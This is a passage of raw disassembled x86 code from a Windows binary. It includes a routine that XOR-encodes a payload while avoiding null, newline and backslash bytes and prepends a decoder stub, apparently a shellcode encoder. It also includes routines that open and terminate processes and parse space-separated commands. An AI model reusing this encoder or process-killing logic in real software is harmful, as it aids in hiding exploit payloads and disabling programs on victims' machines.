		cmp	bl, 0Dh
		jz	short loc_4254F8
		cmp	bl, 5Ch
		jz	short loc_4254F8
		test	bl, bl
		jnz	short loc_4254F9


loc_4254F8:				; CODE XREF: sub_4254E0+8j
					; sub_4254E0+Dj ...
		inc	ebx


loc_4254F9:				; CODE XREF: sub_4254E0+16j
		cmp	ebx, 0FFh
		jbe	short loc_42551C
		mov	eax, ebx
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_425516
		cmp	al, 0Dh
		jz	short loc_425516
		cmp	al, 5Ch
		jz	short loc_425516
		test	al, al
		jnz	short loc_42551C


loc_425516:				; CODE XREF: sub_4254E0+28j
					; sub_4254E0+2Cj ...
		add	ebx, 100h


loc_42551C:				; CODE XREF: sub_4254E0+1Fj
					; sub_4254E0+34j
		push	ebx
		call	sub_4017BC
		mov	ecx, [esp+8+arg_4]
		add	esp, 4
		cmp	eax, ecx
		mov	[esp+4+arg_C], eax
		jbe	short loc_425535
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_425535:				; CODE XREF: sub_4254E0+4Fj
		cmp	eax, 0FFFFh
		jbe	short loc_425540
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_425540:				; CODE XREF: sub_4254E0+5Aj
		mov	al, byte_50E148
		xor	edx, edx
		push	ebp
		mov	ebp, [esp+8+arg_8]
		test	ebx, ebx
		push	esi
		jbe	short loc_425570


loc_425551:				; CODE XREF: sub_4254E0+8Ej
		mov	cl, [edx+ebp]
		xor	cl, al
		jz	short loc_425567
		cmp	cl, 0Ah
		jz	short loc_425567
		cmp	cl, 0Dh
		jz	short loc_425567
		cmp	cl, 5Ch
		jnz	short loc_42556B


loc_425567:				; CODE XREF: sub_4254E0+76j
					; sub_4254E0+7Bj ...
		inc	al
		xor	edx, edx


loc_42556B:				; CODE XREF: sub_4254E0+85j
		inc	edx
		cmp	edx, ebx
		jb	short loc_425551


loc_425570:				; CODE XREF: sub_4254E0+6Fj
		cmp	ebx, 0FFh
		push	edi
		mov	byte_50E148, al
		ja	short loc_4255A3
		mov	edx, [esp+10h+arg_0]
		mov	ecx, 5
		mov	esi, offset loc_444C90
		mov	edi, edx
		mov	byte_444C9D, bl
		mov	byte_444CA1, al
		rep movsd
		movsb
		mov	esi, 15h
		jmp	short loc_4255C9
; ---------------------------------------------------------------------------


loc_4255A3:				; CODE XREF: sub_4254E0+9Cj
		mov	edx, [esp+10h+arg_0]
		mov	ecx, 5
		mov	esi, offset loc_444C78
		mov	edi, edx
		mov	word_444C86, bx
		mov	byte_444C8B, al
		rep movsd
		movsw
		movsb
		mov	esi, 17h


loc_4255C9:				; CODE XREF: sub_4254E0+C1j
		xor	ecx, ecx
		pop	edi
		test	ebx, ebx
		jbe	short loc_4255DF
		add	esi, edx


loc_4255D2:				; CODE XREF: sub_4254E0+FDj
		mov	dl, [ecx+ebp]
		xor	dl, al
		mov	[esi+ecx], dl
		inc	ecx
		cmp	ecx, ebx
		jb	short loc_4255D2


loc_4255DF:				; CODE XREF: sub_4254E0+EEj
		mov	eax, [esp+0Ch+arg_C]
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4254E0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425640	proc near		; CODE XREF: sub_401E24j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		lea	eax, [ecx+ecx*2]
		shl	eax, 4
		sub	eax, ecx
		xor	ecx, ecx
		lea	eax, [eax+eax*2]
		mov	dword_4491DF[eax*4], ecx
		mov	dword_4491CB[eax*4], ecx
		mov	dword_4491CF[eax*4], ecx
		mov	dword_4491D3[eax*4], ecx
		mov	dword_4491D7[eax*4], ecx
		mov	dword_4491DB[eax*4], ecx
		mov	byte_448FCB[eax*4], cl
		mov	byte_4491E3[eax*4], cl
		retn
sub_425640	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4256B0	proc near		; CODE XREF: sub_401370j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	ebx
		push	ebp
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	ecx, ebx
		jle	loc_425767
		cmp	ecx, 400h
		jge	loc_425767
		lea	eax, [ecx+ecx*2]
		push	esi
		shl	eax, 4
		sub	eax, ecx
		push	edi
		push	ebx
		lea	esi, [eax+eax*2]
		mov	eax, dword_4491DF[esi*4]
		push	eax
		nop
		call	near ptr 2770758h
		cmp	dword_4491DF[esi*4], ebx
		jz	short loc_4256F8
		mov	ebp, 1


loc_4256F8:				; CODE XREF: sub_4256B0+41j
		mov	dword_4491DF[esi*4], ebx
		mov	dword_4491CB[esi*4], ebx
		mov	dword_4491CF[esi*4], ebx
		mov	eax, dword_4491D3[esi*4]
		cmp	eax, ebx
		jbe	short loc_425721
		push	eax
		call	sub_401C6C
		add	esp, 4


loc_425721:				; CODE XREF: sub_4256B0+66j
		mov	edi, dword_50FC88
		mov	dword_4491D3[esi*4], ebx
		mov	byte_448FCB[esi*4], bl
		mov	byte_4491E3[esi*4], bl
		mov	ecx, dword_4491D7[esi*4]
		push	ecx
		call	edi ; dword_50FC88
		mov	dword_4491D7[esi*4], ebx
		mov	edx, dword_4491DB[esi*4]
		lea	esi, ds:4491DBh[esi*4]
		push	edx
		call	edi ; dword_50FC88
		mov	[esi], ebx
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_425767:				; CODE XREF: sub_4256B0+Cj
					; sub_4256B0+18j
		mov	eax, ebp
		pop	ebp
		pop	ebx
		retn
sub_4256B0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4257A0	proc near		; CODE XREF: sub_401D93j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		xor	edi, edi
		mov	esi, offset dword_4491CF


loc_4257B1:				; CODE XREF: sub_4257A0+52j
		mov	eax, [esp+10h+arg_0]
		mov	ecx, [esi-4]
		cmp	ecx, eax
		jnz	short loc_4257E5
		test	ebx, ebx
		jle	short loc_4257D7
		cmp	[esi], ebx
		jz	short loc_4257C8
		cmp	edi, ebx
		jnz	short loc_4257E5


loc_4257C8:				; CODE XREF: sub_4257A0+22j
		push	edi
		call	sub_401370
		add	esp, 4
		test	eax, eax
		jz	short loc_4257E5
		jmp	short loc_4257E4
; ---------------------------------------------------------------------------


loc_4257D7:				; CODE XREF: sub_4257A0+1Ej
		push	edi
		call	sub_401370
		add	esp, 4
		test	eax, eax
		jz	short loc_4257E5


loc_4257E4:				; CODE XREF: sub_4257A0+35j
		inc	ebp


loc_4257E5:				; CODE XREF: sub_4257A0+1Aj
					; sub_4257A0+26j ...
		add	esi, 234h
		inc	edi
		cmp	esi, offset byte_4D61CF
		jl	short loc_4257B1
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4257A0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425820	proc near		; CODE XREF: sub_401C6Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		push	eax
		push	0
		push	1F0FFFh
		mov	edi, 1
		call	near ptr 2780399h
		nop
		mov	esi, eax
		test	esi, esi
		jz	short loc_425855
		push	0
		push	esi
		call	near ptr 2710000h
		nop
		test	eax, eax
		jnz	short loc_425855
		push	esi
		xor	edi, edi
		nop
		call	near ptr 283076Ch


loc_425855:				; CODE XREF: sub_425820+1Dj
					; sub_425820+2Aj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_425820	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425870	proc near		; CODE XREF: sub_401483j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		xor	eax, eax
		mov	ecx, offset dword_4491CB


loc_42587B:				; CODE XREF: sub_425870+1Cj
		cmp	[ecx], edx
		jnz	short loc_425880
		inc	eax


loc_425880:				; CODE XREF: sub_425870+Dj
		add	ecx, 234h
		cmp	ecx, offset byte_4D61CB
		jl	short loc_42587B
		retn
sub_425870	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4258A0	proc near		; CODE XREF: sub_401D8Ej

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		push	esi
		xor	esi, esi
		xor	eax, eax
		mov	ecx, offset dword_4491CB


loc_4258AE:				; CODE XREF: sub_4258A0+1Fj
		cmp	[ecx], edx
		jz	short loc_4258C3
		add	ecx, 234h
		inc	eax
		cmp	ecx, offset byte_4D61CB
		jl	short loc_4258AE
		mov	eax, esi


loc_4258C3:				; CODE XREF: sub_4258A0+10j
		pop	esi
		retn
sub_4258A0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4258E0	proc near		; CODE XREF: sub_401BD6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset byte_448FCB


loc_4258E8:				; CODE XREF: sub_4258E0+18j
		cmp	byte ptr [eax],	0
		jz	short loc_4258FE
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4D5FCB
		jl	short loc_4258E8
		mov	eax, edi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4258FE:				; CODE XREF: sub_4258E0+Bj
		lea	eax, [edi+edi*2]
		push	esi
		shl	eax, 4
		sub	eax, edi
		push	1FFh
		lea	eax, [eax+eax*2]
		lea	esi, ds:448FCBh[eax*4]
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	esi
		nop
		call	near ptr 77C47A90h
		mov	ecx, [esp+14h+arg_4]
		mov	edx, [esp+14h+arg_8]
		mov	[esi+200h], ecx
		mov	dword ptr [esi+204h], 0
		add	esp, 0Ch
		mov	dword ptr [esi+208h], 0
		mov	[esi+20Ch], edx
		mov	byte ptr [esi+218h], 0
		mov	eax, edi
		pop	esi
		pop	edi
		retn
sub_4258E0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_425980	proc near		; CODE XREF: sub_401609j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_425980
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	7
		push	0Eh
		push	9
		push	10h
		push	4Fh
		push	13h
		push	0Fh
		mov	esi, ecx
		push	4
		lea	eax, [esp+68h+var_3C]
		push	4
		push	eax
		mov	dword ptr [esi+118h], 0
		mov	byte ptr [esi+11Ch], 0
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_425980	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	4
		push	15h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	edx, [esp+28h]
		push	4
		push	edx
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Eh
		push	19h
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	ecx, [esp+28h]
		push	4
		push	ecx
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017E4
		lea	edx, [esi+60h]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	eax, [esp+2Ch]
		push	4
		push	eax
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017E4
		lea	ecx, [esi+0EAh]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Eh
		push	19h
		push	13h
		push	4
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	edx, [esp+48h]
		push	4
		push	edx
		call	sub_4019B5
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017E4
		add	esi, 8Eh
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_425BD0:				; CODE XREF: ___:loc_401B6Dj
		push	0FFFFFFFFh
		push	offset loc_43B6A4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+50h]
		mov	ebx, ecx
		push	edi
		lea	ebp, [esi+7Eh]
		lea	ecx, [ebx+60h]
		mov	[esp+54h], ebp
		call	sub_4014D3
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		mov	edi, dword_50FB08
		test	eax, eax
		jnz	loc_425D68
		push	95h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		xor	ebp, ebp
		cmp	eax, ebp
		mov	[esp+4Ch], ebp
		jz	short loc_425C3B
		mov	ecx, eax
		call	sub_401DD9
		mov	ebp, eax


loc_425C3B:				; CODE XREF: ___:00425C30j
		push	offset asc_443600 ; " "
		lea	eax, [esp+18h]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016AE
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 1
		call	sub_401FBE
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+18h]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 2
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+50h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+18h]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 3
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+18h]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 4
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+58h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [ebp+26h]
		call	sub_401FBE
		mov	dl, [esi+93h]
		mov	ecx, ebp
		mov	[ebp+8Fh], dl
		mov	al, [esi+94h]
		mov	[ebp+90h], al
		call	sub_4013D4
		mov	ebp, [esp+54h]


loc_425D68:				; CODE XREF: ___:00425C11j
		lea	ecx, [ebx+8Eh]
		call	sub_4014D3
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_425EDA
		push	95h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		test	eax, eax
		mov	dword ptr [esp+4Ch], 5
		jz	short loc_425DAB
		mov	ecx, eax
		call	sub_401BC7
		mov	ebp, eax
		jmp	short loc_425DAD
; ---------------------------------------------------------------------------


loc_425DAB:				; CODE XREF: ___:00425D9Ej
		xor	ebp, ebp


loc_425DAD:				; CODE XREF: ___:00425DA9j
		push	offset asc_443600 ; " "
		lea	ecx, [esp+18h]
		push	1
		push	ecx
		mov	byte ptr [ebx+11Ch], 1
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016AE
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 6
		call	sub_401FBE
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+18h]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 7
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+50h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+18h]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 8
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+18h]
		push	4
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 9
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+58h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	edx, [esi+69h]
		lea	ecx, [ebp+26h]
		push	edx
		call	sub_401FBE
		mov	al, [esi+93h]
		mov	[ebp+8Fh], al
		mov	cl, [esi+94h]
		mov	[ebp+90h], cl
		mov	ecx, ebp
		call	sub_4013D4
		mov	ebp, [esp+54h]


loc_425EDA:				; CODE XREF: ___:00425D7Dj
		lea	ecx, [ebx+4]
		call	sub_4014D3
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_426049
		push	95h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		test	eax, eax
		mov	dword ptr [esp+4Ch], 0Ah
		jz	short loc_425F1A
		mov	ecx, eax
		call	sub_40130C
		mov	ebp, eax
		jmp	short loc_425F1C
; ---------------------------------------------------------------------------


loc_425F1A:				; CODE XREF: ___:00425F0Dj
		xor	ebp, ebp


loc_425F1C:				; CODE XREF: ___:00425F18j
		push	offset asc_443600 ; " "
		lea	edx, [esp+18h]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	edx
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016AE
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 0Bh
		call	sub_401FBE
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+18h]
		push	2
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 0Ch
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+5Ch], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+18h]
		push	3
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 0Dh
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+60h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+18h]
		push	4
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 0Eh
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	eax, [esi+69h]
		lea	ecx, [ebp+26h]
		push	eax
		call	sub_401FBE
		mov	cl, [esi+93h]
		mov	[ebp+8Fh], cl
		mov	dl, [esi+94h]
		mov	ecx, ebp
		mov	[ebp+90h], dl
		call	sub_4013D4
		mov	ebp, [esp+54h]


loc_426049:				; CODE XREF: ___:00425EECj
		lea	ecx, [ebx+32h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4261F4
		push	95h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		test	eax, eax
		mov	dword ptr [esp+4Ch], 0Fh
		jz	short loc_426089
		mov	ecx, eax
		call	sub_401785
		mov	ebp, eax
		jmp	short loc_42608B
; ---------------------------------------------------------------------------


loc_426089:				; CODE XREF: ___:0042607Cj
		xor	ebp, ebp


loc_42608B:				; CODE XREF: ___:00426087j
		push	offset asc_443600 ; " "
		lea	eax, [esp+18h]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016AE
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 10h
		call	sub_401FBE
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+18h]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 11h
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+5Ch], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+18h]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 12h
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+60h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+18h]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 13h
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+30h]
		push	5
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 14h
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+2Ch]
		mov	[ebp+58h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	edx, [esi+69h]
		lea	ecx, [ebp+26h]
		push	edx
		call	sub_401FBE
		mov	al, [esi+93h]
		mov	[ebp+8Fh], al
		mov	cl, [esi+94h]
		mov	[ebp+90h], cl
		mov	ecx, ebp
		call	sub_4013D4
		mov	ebp, [esp+54h]


loc_4261F4:				; CODE XREF: ___:0042605Bj
		lea	ecx, [ebx+0EAh]
		call	sub_4014D3
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_426211
		mov	[ebx+11Ch], al


loc_426211:				; CODE XREF: ___:00426209j
		mov	ecx, [esp+44h]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn	4
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 1A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4263D0	proc near		; CODE XREF: sub_401A64j

var_4		= dword	ptr -4

		push	ecx
		mov	edx, dword_447A44
		push	esi
		mov	esi, ecx
		mov	eax, [esi+91h]
		mov	ecx, [eax+118h]
		cmp	edx, ecx
		jl	short loc_4263F1
		inc	ecx
		mov	[eax+118h], ecx


loc_4263F1:				; CODE XREF: sub_4263D0+18j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+8]
		mov	eax, [esi+91h]
		mov	[esp+8+var_4], esi
		mov	ecx, [eax+118h]
		dec	ecx
		mov	[eax+118h], ecx
		lea	ecx, [esp+8+var_4]
		push	ecx
		mov	ecx, offset byte_4E6EDB
		call	sub_40120D
sub_4263D0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426450	proc near		; CODE XREF: sub_40130Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426450
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F7D
		push	offset aPing	; "ping"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E0DC
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_426450	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4264C0	proc near		; CODE XREF: sub_401F7Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4264C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E6A
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401424
		lea	ecx, [esi+64h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401424
		lea	ecx, [esi+79h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E0EC
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4264C0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426560	proc near		; CODE XREF: sub_4014C4j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426560
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43E0EC
		lea	ecx, [esi+79h]
		mov	[esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+64h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_402031
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_426560	endp

